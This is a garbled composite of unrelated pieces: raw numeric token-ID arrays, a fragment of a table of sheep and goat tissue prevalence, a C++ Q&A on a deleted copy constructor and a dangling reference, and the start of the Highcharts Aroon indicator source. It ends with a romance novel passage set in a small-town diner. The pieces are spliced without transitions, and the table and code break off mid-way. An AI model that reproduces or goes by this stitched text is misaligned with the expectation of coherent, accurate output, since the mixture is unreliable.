14712, 64, 3550, 64, 23667, 551, 246, 7734, 187, 187, 4609, 3302, 4219, 14712, 64, 3550, 64, 23667, 970, 253, 19662, 12547, 29, 565, 7, 8743, 565, 7, 10, 16757, 15, 187, 187, 23097, 28, 5402, 2127, 556, 247, 4858, 7505, 27, 1580, 8078, 310, 1030, 4770, 1540, 64, 85, 708, 13, 50276, 783, 31850, 273, 795, 3281, 432, 540, 10513, 247, 11287, 534, 310, 11069, 672, 253, 19662, 12547, 16757, 29141, 28, 285, 594, 253, 6809, 6548, 342, 247, 277, 36874, 3806, 15, 502, 606, 42169, 670, 436, 13, 533, 305, 3424, 2506, 626, 15, 209, 187, 1992, 4993, 436, 27, 368, 2057, 878, 281, 1818, 8078, 281, 320, 253, 1072, 347, 308, 7, 594, 352, 22294, 3587, 281, 247, 13, 299, 15, 72, 12567, 187, 5302, 1979, 64, 881, 426, 7919, 6268, 1450, 12163, 64, 14005, 29, 53, 14157, 881, 28, 187, 187, 263, 1056, 795, 3281, 417, 320, 247, 3806, 15, 733, 3133, 253, 6158, 651, 13313, 253, 2644, 4096, 273, 634, 6809, 13, 594, 368, 1537, 878, 281, 294, 18959, 634, 2216, 247, 2372, 15, 187, 1992, 3693, 253, 6387, 273, 11365, 436, 277, 5610, 3806, 13, 1818, 1030, 1979, 64, 881, 708, 281, 1979, 64, 881, 708, 275, 253, 17697, 64, 85, 15, 50276, 5872, 253, 17963, 313, 37411, 368, 1472, 417, 970, 7852, 12548, 10, 588, 1127, 562, 253, 1895, 15, 535, 3122, 475, 187, 475, 187, 475, 50276, 17736, 27, 8280, 15, 8656, 45945, 15, 681, 16, 21997, 187, 475, 187, 475, 50276, 18963, 15844, 322, 22656, 19220, 52, 46902, 4350, 3077, 1703, 9149, 308, 15575, 1410, 22068, 15, 17675, 22465, 15691, 35310, 15, 2195, 18963, 4672, 187, 475, 187, 475, 1738, 187, 2948, 11760, 30301, 432, 686, 4598, 13745, 16, 30301, 16, 30301, 15, 4305, 5618, 187, 2948, 20815, 34320, 35394, 249, 432, 686, 4598, 35394, 968, 16, 29454, 34320, 15, 4305, 5618, 187, 2948, 530, 432, 686, 4598, 13745, 16, 12804, 1005, 15, 4305, 5618, 187, 2044, 17310, 426, 530, 15, 27814, 13, 2619, 426, 530, 15, 29397, 28, 187, 2948, 33378, 52, 3788, 8207, 28288, 15, 4305, 5618, 187, 3122, 1578, 41857, 14, 25902, 3588, 14, 4305, 7152, 1738, 187, 605, 28218, 84, 187, 605, 13193, 273, 3284, 342, 9559, 1318, 432, 3781, 313, 1222, 390, 2781, 10, 187, 6930, 187, 475, 1214, 9486, 187, 1738, 187, 3701, 755, 7992, 4190, 6060, 688, 6542, 9, 3298, 13, 9559, 10, 551, 187, 50274, 2044, 9559, 3902, 426, 4077, 60, 17, 1092, 1318, 6060, 426, 470, 13, 891, 28, 187, 50274, 1542, 313, 74, 426, 337, 28, 891, 654, 4077, 15, 3985, 28, 891, 9234, 551, 187, 50270, 338, 313, 2068, 4190, 11013, 686, 4090, 8, 3857, 4077, 60, 74, 62, 10122, 9559, 3902, 2785, 187, 50266, 2068, 4190, 11013, 686, 1222, 8, 3857, 4077, 60, 74, 62, 11049, 9559, 3902, 10, 551, 187, 50266, 2068, 4190, 3902, 426, 4077, 60, 74, 2194, 187, 50266, 2877, 6060, 426, 891, 28, 187, 50270, 94, 187, 50274, 94, 187, 50274, 2309, 1318, 6060, 28, 187, 94, 187, 3122, 1578, 41857, 14, 14760, 3588, 14, 4305, 7152, 1738, 187, 6930, 187, 475, 380, 329, 287, 251, 2962, 1511, 15, 187, 475, 187, 475, 1214, 9486, 187, 475, 1214, 2437, 187, 475, 1214, 1590, 4855, 45945, 15, 22253, 15668, 15, 274, 3508, 187, 475, 187, 475, 1214, 2321, 942, 4855, 45945, 15, 30301, 187, 1738, 187, 8932, 30301, 15, 22253, 2548, 2073, 274, 3508, 1383, 686, 84, 785, 1383, 209, 187, 6930, 187, 475, 329, 287, 251, 15, 831, 2962, 4419, 253, 2634, 16862, 1992, 65, 4500, 281, 320, 187, 475, 873, 285, 943, 320, 10607, 846, 253, 2634, 17764, 16, 527, 280, 2392, 16, 527, 280, 2392, 15, 4305, 16433, 187, 475, 187, 475, 1214, 16848, 551, 8656, 17764, 94, 5739, 16, 527, 280, 2392, 16, 274, 3508, 187, 475, 50269, 34, 287, 251, 187, 475, 187, 475, 1214, 2068, 1727, 50272, 14095, 10976, 15, 84, 785, 187, 475, 1214, 17480, 50270, 24, 15, 17, 15, 17, 187, 475, 1214, 7509, 50272, 8656, 17764, 187, 475, 1214, 911, 6547, 50274, 455, 6723, 284, 13, 3295, 30056, 13, 7277, 13, 7277, 8932, 13, 6604, 3463, 13, 10149, 13, 187, 475, 50263, 8002, 22853, 10976, 13, 1127, 27068, 13, 1127, 27068, 14074, 13, 187, 475, 50263, 3659, 3493, 3913, 13, 1127, 12519, 13, 1127, 8252, 13, 921, 688, 14749, 22853, 13, 187, 475, 50263, 9742, 272, 187, 475, 1214, 36042, 50273, 17764, 16, 527, 280, 2392, 16, 527, 280, 2392, 187, 475, 1214, 36042, 50273, 17764, 16, 527, 280, 2392, 16, 274, 3508, 187, 475, 1214, 7872, 5598, 7484, 10976, 15, 274, 3508, 187, 1738, 187, 92, 187, 50274, 6930, 187, 50273, 11, 2956, 312, 1336, 908, 275, 10272, 273, 247, 287, 251, 2962, 2792, 15, 187, 50273, 11, 187, 50273, 11, 1214, 911, 6547, 9894, 13, 3605, 187, 50273, 8480, 187, 50274, 12928, 27, 551, 187, 50270, 6930, 187, 50269, 11, 25792, 323, 329, 287, 251, 15301, 187, 50269, 8480, 187, 50270, 17911, 27, 2030, 187, 50274, 2023, 187, 50274, 39754, 27, 551, 187, 50270, 22331, 27, 3221, 187, 50274, 2023, 187, 50274, 40927, 27, 551, 187, 50270, 3659, 10069, 27, 21083, 2551, 3740, 568, 4897, 41924, 3659, 15, 4897, 94, 1138, 61, 86, 1099, 7386, 870, 2551, 2730, 67, 31, 551, 22253, 15, 1590, 28379, 67, 2730, 1288, 4357, 34, 287, 251, 5863, 27, 551, 3659, 15, 90, 27482, 1288, 4357, 34, 287, 251, 9792, 27, 551, 3659, 15, 274, 3508, 10854, 27482, 1288, 4357, 8, 187, 50274, 2023, 187, 50274, 6930, 187, 50273, 11, 247, 287 ]

, Iran, 2017--2018. ----------------------------------------------------------------------------------------------------------------------------- Masseter Muscle Heart\ Diaphragm Triceps Intercostal\ Thigh\ Liver Spleen Intestinal\ Muscle Muscle Muscle Mucosa ----------- ----------------- ---------- ----------- ---------- -------------- ---------- ---------- ---------- ------------- **Sheep** Positive 368 450 380 350 289 234 143 98 199 \% 2.3 2.8 2.3 2.2 1.8 1.4 0.9 0.6 1.2 95% CI% 2.1--2.5 2.5--3.0 2.1--2.6 1.9--2.4 1.6--2.0 1.3--1.6 0.7--1.0 0.5--0.7 1.1--1.4 **Goats** Positive 80 83 78 71 47 0 0 0 0 \% 1.1 1.1 1.0 0.9 0.6 95% CI% 0.8--1.3 0.9--1.4 0.8--1.3 0.7--1.2 0.5--0.8 ----------------------------------------------------------------------------------------------------------------------------- Q: Explicitly delete never-use copy constructor give compile error I am implementing a SizeTag method that will take a size value and keep the l-value reference. Things work fine and in this code the intent is to use the T&& constructor. However, if I explicitly delete the copy constructor the compiler will give an error: #include <cstdint> #include <type_traits> #include <utility> template <typename T = std::uint64_t> class SizeTag { public: using size_type = std::uint64_t; using Type = std::conditional_t<std::is_lvalue_reference<T>::value, const size_type&, size_type>; inline const Type& get() const { return _size; } SizeTag(T&& sz) : _size(std::forward<T>(sz)) { } SizeTag& operator = (const SizeTag&) = delete; SizeTag(const SizeTag&) = delete; // No error if this line removed private: Type _size; }; template <typename T> SizeTag<T> make_size_tag(T&& t) { return std::forward<T>(t); } int main() { int a = 9; make_size_tag(a); } Why is this happening? The copy constructor should never be called in this case. A: The function make_size_tag returns SizeTag<T> by value. Let's recap how function returning by value works: There is a temporary object usually called the return value object. For the case return expression;: The expression copy-initializes the return value object. This is a copy elision context. For the case return { zero_or_more_items };: The braced list copy-list-initializes the return value object. If the calling code initializes an variable with the function call, then the return value object is the initializer. (The exact form of initialization may vary depending on the calling code). For initialization of an object, this is also a copy elision context. In your code, make_size_tag(a) deduces T (the parameter of make_size_tag ) to int&, because this is a perfect forwarding scenario. The instantiation of make_size_tag for this T looks like, after expanding out std::forward: SizeTag<int&> make_size_tag(int& t) { return t; } because static_cast<int&>(t) is just the same as t, since t is already an lvalue of type int. As mentioned earlier, this code copy-initializes the return value object. So the code now behaves sort of like: SizeTag<int&> temp_rv = t; and because t is not a SizeTag, the definition of copy-initialization is that this is the same as: SizeTag<int&> temp_rv = SizeTag<int&>(t); which obviously invokes a copy/move operation to initialize temp_rv from a temporary of type SizeTag<int&>. Although this copy would be elided by copy elision, the accessible copy/move constructor must exist. The solution suggested by Jarod42, putting braces around the return expression, works because the equivalent initialization is now copy-list-initialization: SizeTag<int&> temp_list_rv { t }; which initializes temp_list_rv using the SizeTag<int&>(int&) constructor. NB; Your code has a separate bug: since Type is const uint64_t &, the initialization of _size from int creates a temporary which is destroyed when the SizeTag constructor completes; and so the tag returns with a dangling reference. clang warns about this, but g++ doesn't. To fix this: you either need to change Type to be the same as T& so it binds directly to a, e.g.: using size_type = typename std::remove_reference<T>::type; or make _size not be a reference. It seems the latter would defeat the whole purpose of your tag, so you might need to rethink your design a bit. To avoid the possibility of generating this danging reference, change const size_type & to size_type & in the conditional_t. Then the compiler (assuming you're not using MSVC) will point out the problem. /* * * * License: www.highcharts.com/license * * !!!!!!! SOURCE GETS TRANSPILED BY TYPESCRIPT. EDIT TS FILE ONLY.!!!!!!! * * */ import BaseSeries from '../../Core/Series/Series.js'; import MultipleLinesMixin from '../../Mixins/MultipleLines.js'; import U from '../../Core/Utilities.js'; var merge = U.merge, pick = U.pick; import './SMAIndicator.js'; /* eslint-disable valid-jsdoc */ // Utils // Index of element with extreme value from array (min or max) /** * @private */ function getExtremeIndexInArray(arr, extreme) { var extremeValue = arr[0], valueIndex = 0, i; for (i = 1; i < arr.length; i++) { if (extreme ==='max' && arr[i] >= extremeValue || extreme ==='min' && arr[i] <= extremeValue) { extremeValue = arr[i]; valueIndex = i; } } return valueIndex; } /* eslint-enable valid-jsdoc */ /** * The Aroon series type. * * @private * @class * @name Highcharts.seriesTypes.aroon * * @augments Highcharts.Series */ BaseSeries.seriesType('aroon','sma', /** * Aroon. This series requires the `linkedTo` option to be * set and should be loaded after the `stock/indicators/indicators.js`. * * @sample {highstock} stock/indicators/aroon * Aroon * * @extends plotOptions.sma * @since 7.0.0 * @product highstock * @excluding allAreas, colorAxis, compare, compareBase, joinBy, keys, * navigatorOptions, pointInterval, pointIntervalUnit, * pointPlacement, pointRange, pointStart, showInNavigator, * stacking * @requires stock/indicators/indicators * @requires stock/indicators/aroon * @optionparent plotOptions.aroon */ { /** * Paramters used in calculation of aroon series points. * * @excluding periods, index */ params: { /** * Period for Aroon indicator */ period: 25 }, marker: { enabled: false }, tooltip: { pointFormat: '<span style="color:{point.color}">\u25CF</span><b> {series.name}</b><br/>Aroon Up: {point.y}<br/>Aroon Down: {point.aroonDown}<br/>' }, /** * aro

[ 715, 253, 6179, 2316, 13, 521, 15944, 4745, 1469, 281, 25975, 15, 346, 6723, 368, 2119, 368, 6468, 626, 1119, 1633, 1060, 326, 434, 625, 1774, 865, 187, 187, 11223, 785, 1904, 626, 3662, 13, 533, 703, 11373, 387, 12429, 672, 344, 2206, 12200, 617, 285, 1691, 521, 4430, 1475, 617, 9215, 15, 187, 187, 3220, 2656, 13, 35503, 1869, 13, 1110, 767, 497, 594, 275, 2389, 13, 352, 1160, 617, 2798, 49652, 15, 1310, 760, 627, 497, 690, 1039, 281, 1056, 25975, 11476, 352, 1078, 352, 369, 1512, 3563, 15, 187, 187, 15883, 5725, 13, 703, 1869, 359, 3441, 15, 1500, 651, 7664, 670, 326, 10873, 15, 43935, 703, 574, 816, 2217, 4757, 1669, 281, 12518, 323, 9069, 434, 2120, 7355, 15, 187, 187, 817, 3307, 187, 187, 11223, 785, 812, 452, 21567, 323, 247, 2129, 13, 533, 3185, 13, 703, 6034, 281, 1527, 253, 277, 7068, 987, 327, 673, 387, 721, 27, 361, 247, 15, 78, 15, 387, 617, 3101, 434, 45095, 15, 1500, 3260, 352, 574, 281, 320, 2218, 15, 496, 958, 13, 703, 3260, 1805, 685, 3780, 849, 4619, 1046, 14838, 369, 841, 1897, 13, 533, 703, 651, 452, 1677, 2712, 323, 1014, 271, 4964, 275, 3722, 846, 9100, 954, 273, 253, 2360, 387, 253, 4675, 15, 187, 187, 1145, 42947, 16846, 6518, 281, 47122, 617, 13, 533, 352, 369, 253, 8184, 273, 12429, 6179, 323, 617, 275, 253, 35664, 326, 1160, 617, 10724, 1625, 15, 754, 8715, 626, 1669, 617, 1930, 512, 2360, 15, 2091, 344, 1871, 3982, 617, 407, 253, 2419, 4321, 281, 1818, 10015, 13, 344, 1871, 753, 344, 651, 320, 896, 285, 344, 369, 13, 5747, 617, 4154, 326, 344, 3058, 4600, 15, 1500, 812, 1385, 327, 779, 281, 513, 4555, 752, 344, 753, 344, 1871, 513, 15, 3032, 13367, 369, 1633, 703, 1871, 1705, 281, 17767, 13, 281, 1333, 2717, 273, 253, 1039, 521, 26847, 812, 2157, 482, 617, 15, 1500, 1871, 644, 2820, 1892, 417, 281, 23031, 327, 326, 15, 733, 1694, 275, 253, 1039, 273, 2509, 752, 703, 3260, 703, 574, 281, 513, 15, 187, 187, 3, 42, 2183, 368, 281, 3297, 1728, 285, 755, 690, 4600, 937, 703, 660, 28102, 13, 1014, 347, 703, 1694, 715, 253, 2914, 7319, 273, 521, 1113, 15, 1500, 574, 281, 3819, 417, 281, 9644, 896, 1411, 253, 26938, 621, 285, 2810, 617, 2927, 15, 1310, 703, 6497, 17390, 1024, 13, 703, 1871, 4600, 323, 247, 1770, 15, 187, 187, 3, 42, 2183, 368, 253, 1072, 2181, 15, 3262, 405, 359, 1472, 1097, 32864, 937, 344, 753, 38920, 15, 346, 42, 3260, 368, 1871, 23103, 327, 21130, 14596, 1728, 15, 3808, 2915, 556, 281, 1361, 562, 387, 253, 32257, 15, 1422, 476, 626, 513, 352, 512, 449, 187, 187, 3, 42, 812, 452, 7303, 937, 703, 16701, 15, 187, 187, 3, 1989, 1024, 368, 1053, 626, 452, 281, 449, 187, 187, 2993, 3534, 779, 247, 14442, 1007, 15, 346, 8398, 368, 449, 187, 187, 3, 1145, 1767, 553, 13, 49541, 15, 1422, 871, 326, 449, 187, 187, 2993, 858, 15, 4952, 672, 703, 1871, 644, 32986, 342, 779, 323, 417, 7746, 617, 344, 1871, 644, 3206, 342, 26355, 13, 703, 574, 1929, 326, 344, 651, 1620, 275, 247, 3041, 1107, 1339, 617, 1066, 15, 3105, 1663, 15, 187, 187, 3, 42, 7560, 281, 634, 2243, 247, 1643, 2909, 3622, 937, 344, 2183, 617, 15, 346, 2993, 2296, 9069, 310, 2509, 1805, 15, 754, 434, 625, 10028, 436, 4131, 285, 597, 1472, 9745, 779, 12561, 275, 247, 1643, 2909, 449, 187, 187, 3, 8398, 2656, 323, 23442, 13, 28612, 13917, 285, 500, 311, 466, 15, 1583, 6468, 626, 1669, 617, 1930, 323, 247, 7017, 449, 187, 187, 3, 2773, 434, 752, 3858, 513, 937, 12429, 753, 15, 346, 15168, 2998, 275, 247, 3874, 751, 17802, 330, 710, 449, 187, 187, 11223, 785, 3261, 387, 779, 285, 3260, 326, 703, 1871, 1119, 253, 1072, 8933, 1632, 275, 779, 13, 285, 594, 1199, 625, 15, 346, 42, 871, 937, 703, 753, 23727, 15, 346, 1394, 10256, 479, 326, 449, 187, 187, 2214, 247, 7017, 352, 3261, 347, 604, 344, 1537, 2315, 253, 2256, 13, 533, 840, 597, 497, 387, 253, 277, 7068, 285, 627, 497, 247, 3041, 285, 581, 1841, 281, 513, 281, 320, 4704, 323, 253, 12561, 16949, 15, 1500, 369, 24192, 417, 281, 452, 281, 2968, 342, 512, 253, 3533, 344, 369, 3033, 281, 452, 670, 616, 2852, 15, 754, 29774, 9172, 13, 1014, 281, 253, 440, 33065, 3533, 13, 533, 703, 3260, 344, 3589, 626, 1469, 281, 751, 731, 285, 703, 18638, 264, 2403, 779, 26442, 15, 187, 187, 8398, 2920, 13, 703, 574, 1652, 673, 281, 7664, 670, 352, 15, 6000, 7731, 665, 2210, 949, 253, 3369, 326, 4131, 4455, 281, 452, 3735, 670, 9069, 13, 2568, 417, 247, 581, 273, 731, 753, 2712, 3883, 267, 15, 25975, 3078, 281, 3501, 387, 253, 4468, 597, 4469, 15, 4952, 443, 12424, 285, 3972, 2205, 275, 616, 1211, 26970, 567, 1039, 3597, 281, 1361, 15, 187, 187, 3, 1394, 878, 479, 387, 253, 32257, 13, 309, 9428, 309, 476, 1056, 11624, 347, 1175, 347, 12429, 434, 937, 443, 12424, 753, 13, 2819, 387, 253, 36369, 4840, 326, 574, 644, 1160, 273, 521, 689, 14, 46711, 1340, 15, 187, 187, 11223, 785, 12918, 15, 346, 42, 1833, 1978, 326, 275, 2564, 449, 187, 187, 3, 1147, 434, 417, 751, 359, 1705, 1060, 816, 323, 253, 2739, 937, 3972, 2205, 2879, 15, 346, 1552, 1659, 310, 1728, 285, 368, 6068, 403, 2021, 15, 309, 812, 1056, 247, 1943, 1721, 273, 20001, 81, 49072, 323, 11157, 15, 3808, 5412, 18377, 1537, 320, 816, 253, 2181, 327, 247, 2870, 14743, 1388, 751, 436, 449, 187, 187, 11223, 785, 15014, 387, 779, 347, 604, 344, 1871, 816, 13452, 275, 4235, 1240, 3093, 15, 346, 1394, 476, 1056, 20001, 81, 49072, 865, 187, 187, 3, 1898, 247, 2257, 625, 937, 443, 12424, 2183, 617, 13, 5001, 521, 3331, 342, 8943, 15555, 15, 346, 8639, 344, 4395, 1060, 13, 3972, 2205, 14373, 347, 271, 9165, 26540, 387, 581, 273, 731, 18612, 21440, 689, 407, 16590, 3645, 449, 187, 187, 3, 3220, 2656, 13, 2139, 1904, 626, 3780, 1060, 871, 326, 865, 25975, 2546, 15, 346, 8917, 368, 2455, 1333, 2712, 281, 619, 3101, 865, 187, 187, 3, 2302, 878, 281, 937, 3972, 2205, 753, 15, 346, 51, 6859, 285, 5037, 3260, 752, 597, 497, 2509, 15, 1244, 368, 497, 2509, 816, 4030, 1293, 479, 30809, 449, 754, 37432, 8042, 314, 387, 253, 11624, 15, 346, 4015, 505, 368, 497, 7357, 368, 1339, 12429, 755, 247, 7046, 3627, 275, 521, 1133, 449, 187, 187, 11223, 785, 434, 2564, 369, 364, 35042, 15, 346, 17304, 368, 320, 3255, 1500, 11898, 617, 1481, 15, 346, 4527, 2282, 417, 15, 733, 434, 247, 19082, 2934, 449, 187, 187, 13804, 2205, 12258, 617, 342, 247, 14338, 2048, 15, 346, 2302, 2934, 434, 19082, 15, 3808, 816, 878, 247, 1652, 4030, 14, 85, 25004, 449, 187, 187, 3, 42, 1871, 452, 281, 2312, 352, 689, 342, 619, 3101, 13, 533, 651, 368, 1908, 36456, 275, 1060, 629, 14, 2606, 2378, 21130, 4566, 896, 281, 2143, 32, 309, 5545, 359, 812, 2075, 1199, 449, 187, 187, 13804, 2205, 30443, 15, 346, 11778, 619, 24626, 670, 326, 13, 1512, 13, 533, 253, 5083, 310, 326, 309, 1849, 9829, 1907, 247, 9539, 273, 12633, 281, 4417, 323, 15, 1422, 1158, 634, 2243, 651, 1339, 479, 1611, 562, 247, 1643, 747, 20247, 32, 29961, 1633, 342, 14354, 253, 643, 1388, 326, 1160, 619, 6208, 1824, 15, 1621, 1127, 275, 2403, 1633, 751, 326, 816, 323, 479, 15, 1244, 309, 1833, 320, 277, 1596, 264, 604, 309, 1833, 755, 7028, 969, 816, 281, 452, 3095, 1475, 665, 6373, 28032, 619, 12398, 449, 187, 187, 11223, 785, 12918, 15, 346, 4013, 13, 4754, 15, 309, 1158, 368, 816, 753, 253, 10721, 3159, 15, 34471, 434, 1620, 3531, 1066, 2712, 14354, 275, 617, 2862, 1495, 15, 844, 1849, 1620, 574, 247, 18612, 27519, 8910, 13, 533, 309, 1833, 701, 352, 651, 789, 342, 512, 253, 747, 340, 1135, 447, 275, 253, 9168, 15, 1310, 34471, 18726, 13, 359, 812, 3297, 1527, 1996, 15, 844, 1871, 320, 253, 1659, 281, 564, 323, 8574, 285, 27519, 449, 187, 187, 3, 4497, 13, 840, 13, 368, 767, 2312, 352, 689, 285, 840, 359, 1833, 1790, 1066, 285, 923, 752, 359, 476, 513, 937, 3972, 2205, 753, 15, 346, 42, 8564, 309, 1849, 1335, 1694, 247, 1643, 1175, 1107, 273, 12398, 1669, 275, 479, 449, 187, 187, 11223, 785, 18274, 689, 285, 1607, 7228, 1242, 23846, 247, 10135, 327, 521, 4829, 37566, 1481, 15, 346, 42, 1158, 309, 2389, 368, 13, 3972, 2205, 21571, 15, 1244, 275, 1083, 309, 6468, 626, 753, 352, 1078, 13, 5717, 368, 323, 268, 6856, 1475, 7357, 368, 1119, 326, 3522, 1984, 449, 187, 187, 13804, 2205, 434, 2927, 3531, 1014, 32950, 15, 346, 5872, 352, 858, 1361, 865, 187, 187, 2993, 11522, 15, 346, 1147, 858, 449, 187, 187, 3, 2773, 434, 512, 326, 8213, 937, 344, 753, 15, 187, 187, 2993, 12258, 779, 342, 9326, 15, 346, 1394, 1053, 626, 971, 281, 871, 752, 4592, 865, 187, 187, 3, 4497, 13, 273, 2282, 13, 359, 513, 937, 443, 12424, 753, 1071, 1031, 13, 840, 4541, 2879, 13, 346, 2858, 359, 1472, 417, 13647, 90, 449, 187, 187, 11223, 785, 12918, 387, 326, 13, 840, 2427, 896, 281, 2619, 598, 625, 7367, 432, 253, 32257, 15, 1500, 30443, 672, 703, 3047, 253, 2739, 327, 253, 10855, 15, 346, 1394, 871, 13, 352, 434, 2970, 247, 1652, 1892, 323, 479, 281, 2028, 665, 841, 7367, 5663, 281, 937, 703, 716, 833, 12429, 15, 346, 3726, 512, 1007, 19605, 449, 187, 187, 1328, 660, 319, 1070, 387, 617, 15, 346, 1394, 971, 281, 5454, 5053, 865, 187, 187, 3, 2302, 937, 2067, 273, 253, 6383, 387, 253, 4828, 753, 275, 247, 35397, 15, 187, 187, 11223, 785, 12258, 731, 342, 9326, 15, 346, 1394, 1871, 2581, 452, 779, 12398, 13, 685, 479, 865, 187, 187, 3, 7093, 2739, 1537, 320, 271, 7756, 937, 18827, 11328, 30245, 15, 346, 1989, 253, 1390, 673, 12429, 574, 247, 7691, 453, 554, 302, 275, 521, 1133, 13, 344, 2210, 2810, 281, 653, 3867, 352, 512, 689, 479, 15, 309, 476, 6008, 11624, 326, 403, 1892, 347, 17023, 13, 533, 309, 16326, 626, 6110, 275, 1146, 9171, 4861, 407, 3511, 5558, 449, 187, 187, 3, 27970, 1060, 937, 2067, 2571, 19114, 264, 275, 15, 187, 187, 29823, 29550, 387, 731, 15, 346, 34766, 670, 440, 737, 366, 1020, 449, 187, 187, 11223, 785, 6225, 627, 11298, 281, 253, 407, 1993, 285, 3543, 1633, 11990, 3304, 617, 15, 1500, 3589, 626, 3240, 4704, 281, 11476, 352, 2568, 13, 417, 281, 5972, 13, 285, 7964, 417, 281, 12429, 13, 533, 436, 1663, 369, 1728, 13, 285, 703, 369, 5068, 281, 4282, 2139, 327, 6149, 703, 1871, 13762, 5972, 326, 703, 20651, 667, 5070, 2010, 15, 1500, 254, 32864, 1255, 13, 954, 2779, 15, 733, 369, 2568, 1529, 18177, 703, 1871, 574, 275, 1846, 342, 617, 3392, 15, 4952, 347, 253, 1869, 13405, 617, 2564, 13, 703, 8156, 342, 247, 6966, 326, 4680, 670, 617, 3392, 1904, 626, 1056, 617, 1928, 3240, 594, 8872, 15, 8948, 253, 19952, 497, 13255, 387, 1048, 1390, 15, 187, 187, 27656, 369, 4720, 2970, 562, 273, 253, 4675, 3063, 13, 285, 352, 4571, 626, 320, 3517, 2217, 323, 779, 390, 323, 35503, 15, 1500, 11898, 617, 1481, 347, 344, 19375, 670, 3253, 432, 253, 3638, 4996, 16723, 407, 253, 4750, 281, 253, 2739, 15, 187, 187, 3, 42, 971, 281, 755, 562, 273, 1060, 937, 344, 650, 16630, 2568, 969, 15, 187, 187, 3, 1909, 3517, 347, 253, 7345, 7871, 253, 3727, 9380, 13, 359, 1472, 1469, 937, 703, 17328, 779, 15, 187, 187, 3, 4497, 13, 352, 1912, 626, 320, 3517, 2217, 323, 479, 449, 187, 187, 3, 2598, 309, 13037, 937, 703, 753, 259, 610, 314, 13, 1014, 347, 703, 3534, 521, 1133, 247, 3158, 29684, 15, 187, 187, 6300, 840, 703, 3047, 2398, 18762, 6306, 16063, 5954, 275, 253, 27084, 15, 1500, 1871, 644, 3551, 407, 247, 2257, 13, 533, 352, 4455, 281, 35503, 326, 9069, 574, 644, 1679, 285, 1679, 15211, 281, 923, 617, 15, 3032, 44915, 574, 4518, 644, 5165 ]

into the waiting room, his gaze immediately going to Emma. "Are you sure you haven't found something here that's more important?" Emma didn't answer, but she smiled at Matt when he sat beside her and put his arm around her shoulder. My God, Rosa thought, those two were so in love, it made her heart ache. If only there were some way to make Emma admit it before it was too late. Tomorrow, she thought wearily. She would worry about that tomorrow. Tonight she had just enough strength left to pray for Jeff's full recovery. ## 22 Emma could have slept for a week, but instead, she intended to open the diner right on time at 6:00 a.m. at her mother's insistence. She knew it had to be done. In fact, she knew better than anyone how critical every dollar was these days, but she would have given anything for even an hour in bed after spending most of the night at the hospital. An icy shower helped to revive her, but it was the sight of Matt waiting for her in the driveway that made her pulse sing. He hadn't left her side all night. When he'd brought her by the house earlier to change clothes, he'd said he would be back and he was, despite her argument that he needed sleep. She could count on him to do exactly what he said he'd do. His reliability was something she'd come to prize, to say nothing of the way his touches could inflame her. She'd been trying hard not to dwell on that. It got in the way of doing what she knew she had to do. "I told you to stay home and get some sleep," she scolded, even as she got into the front seat of his car. She had to fight not to lean back against the cushions and close her eyes. If she fell asleep now, she'd sleep for a month. "I told you the same thing. Guess we're both stubborn," he said mildly. "I knew you'd insist on Andy staying home. Somebody has to help out at the grill. You can't do it all." "I could have managed," she insisted. "But now you don't have to." She gave him a grateful look. "Thank you." "Anytime, sweetheart. You know that." She did. Even when she'd been furious with him for not telling her he'd been involved with Jennifer, she had known that he would never in a million years let her down. Not really. "I spoke to your mom a few minutes ago," he told her. "She says Jeff is doing better. He's more alert this morning and they're bringing him breakfast in a few minutes." "Thank God for Helen, Sylvia and Jolie. They haven't left her side for a minute." "That's what friends do," Matt said. "Especially in a town like Winter Cove." Emma looked at him and knew that she'd found the same steadiness in him, and so much more. "I know," she said softly. "You taught me that." For a minute it looked as if he might press the subject, but then they were at the diner and there were a million and one things to do to be ready for the breakfast rush. She was relieved not to have to deal with all the questions he was bound to have about their future. He deserved answers, even to the unspoken questions, but she knew he wasn't going to like them and she dreaded making him unhappy. Thankfully, she had little time to worry about it. Every customer who came through the door that morning seemed to have heard about Jeff, yet not a one of them said anything judgmental. Emma wanted to cry at the concern they expressed. Even Gabe and Harley in their own gruff way tried to help. "You need me at the grill, I suppose I can make eggs as good as Matt's," Gabe said, looking at the scrambled mess that had been made of his over-lightly order. Emma laughed. "I'll keep that in mind." "It's not like we come here just for the food," Harley added. "This place is home and you guys are family. I could make a big pot of gazpacho for lunch. Some cold soup might be just the thing on a steamy day like this." Emma stared at him as if he'd just spoken in Swahili. "You can make gazpacho?" "And a lot more," Gabe told her, regarding his friend with evident pride. "Before he moved here, Harley retired as an executive chef at one of them fancy hotels over by Disney World." "My God, why didn't anyone here know that?" Emma asked. "Did you ever say anything to my mother?" "No need to," Harley said. "Rosa and Don knew what they were doing. And you were doing just fine without me interfering." He gazed pointedly at the eggs. "Least you were till you let Matt get a spatula in his hand." Emma's mind was whirling. "Would you be..." She shook her head. "Of course not. It's a ridiculous idea." Harley regarded her with a curious expression. "No idea's ridiculous. Some just need a little fine-tuning." "I'd have to talk it over with my mother, but would you consider pitching in here part-time once Andy goes back to school? I doubt we could pay much." Harley grinned. "Have my doubts about that, too, but the truth is that I've missed having a crowd of folks to cook for. You think your mom would let me try out a few new recipes? Saw something with chocolate the other day that made my mouth water. No point in making something like that just for me. And I'll be darned if I'll get married again just to have someone around who appreciates my cooking." Emma laughed. "Oh, yes. I think you just said the magic word. Mama's never turned down anything chocolate in her entire life. We've never had a fancy dessert menu, but I'll bet it would work with all the new yuppies in the neighborhood. If Mama agrees, we could stay open later. We'd be the place to go for coffee and dessert." "Well, then, you two talk it over and then we'll sit down and see what we can do," Harley said. "I imagine I've still got a few good years of cooking left in me." Emma leaned over and impulsively planted a kiss on his nearly bald head. "I think I love you, Harley Watson. And in case I haven't said it before, thank you for poking around till you found that date book." Harley's eyes turned even brighter. "Then it did help?" She nodded. "It did." "That's all that matters," he said. She regarded him with surprise. "You don't want to know what happened?" "Well, of course, we do," Gabe said testily, then quickly added, "but we're not nosy." Emma laughed at that, then went back to pick up more orders from the grill. She grinned when she saw the food on the plates. "You know, it's getting a little hard for me to tell who these orders belong to," she teased Matt. "They all look alike." He scowled at her. "You want to trade places?" "No," several of the customers at the counter said in a chorus. Emma regarded them with surprise. "You'd rather have him cooking, than me?" "Your food might be an improvement," Jess Davis conceded. "But the last time Matt had a coffeepot in his hand, he came close to spilling it all over me. I can eat eggs that are hard as rubber, but I ain't interested in being scalded by hot liquid." "Same here," several others chimed in. Matt frowned at them. "Talk about ungrateful." Emma stood there listening to the byplay and felt something ease inside her. She wasn't quite ready to admit it yet, not to herself, and definitely not to Matt, but this really was home, and she was beginning to wonder why on earth she'd convinced herself that she belonged anyplace else. Sheer stubbornness, most likely. 